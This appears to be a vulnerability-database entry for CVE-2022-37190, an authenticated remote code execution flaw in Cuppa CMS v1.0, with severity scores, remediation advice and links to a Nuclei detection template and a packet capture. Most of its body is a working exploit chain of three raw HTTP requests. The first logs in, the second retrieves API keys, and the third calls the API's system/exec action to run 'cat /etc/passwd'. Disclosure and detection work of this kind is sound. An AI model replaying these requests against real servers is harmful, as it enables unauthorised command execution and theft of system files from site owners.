| Title | Cuppa CMS v1.0 - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.82094 |
| CVE ID | CVE-2022-37190 |
| CWE ID | CWE-732 |
| Tags | cve2022 cve rce cuppa authenticated cuppacms vuln |
CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from “/api/index.php.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=unJ7xz&password=Kwvg1l&language=en&task=login
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
path=component%2Ftable_manager%2Fview%2Fcu_api_keys
POST /api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
key: jev0RB
Accept-Encoding: gzip
action=system&function=exec&cmd=cat+/etc/passwd
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37190.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-37190.pcap
N/AN/A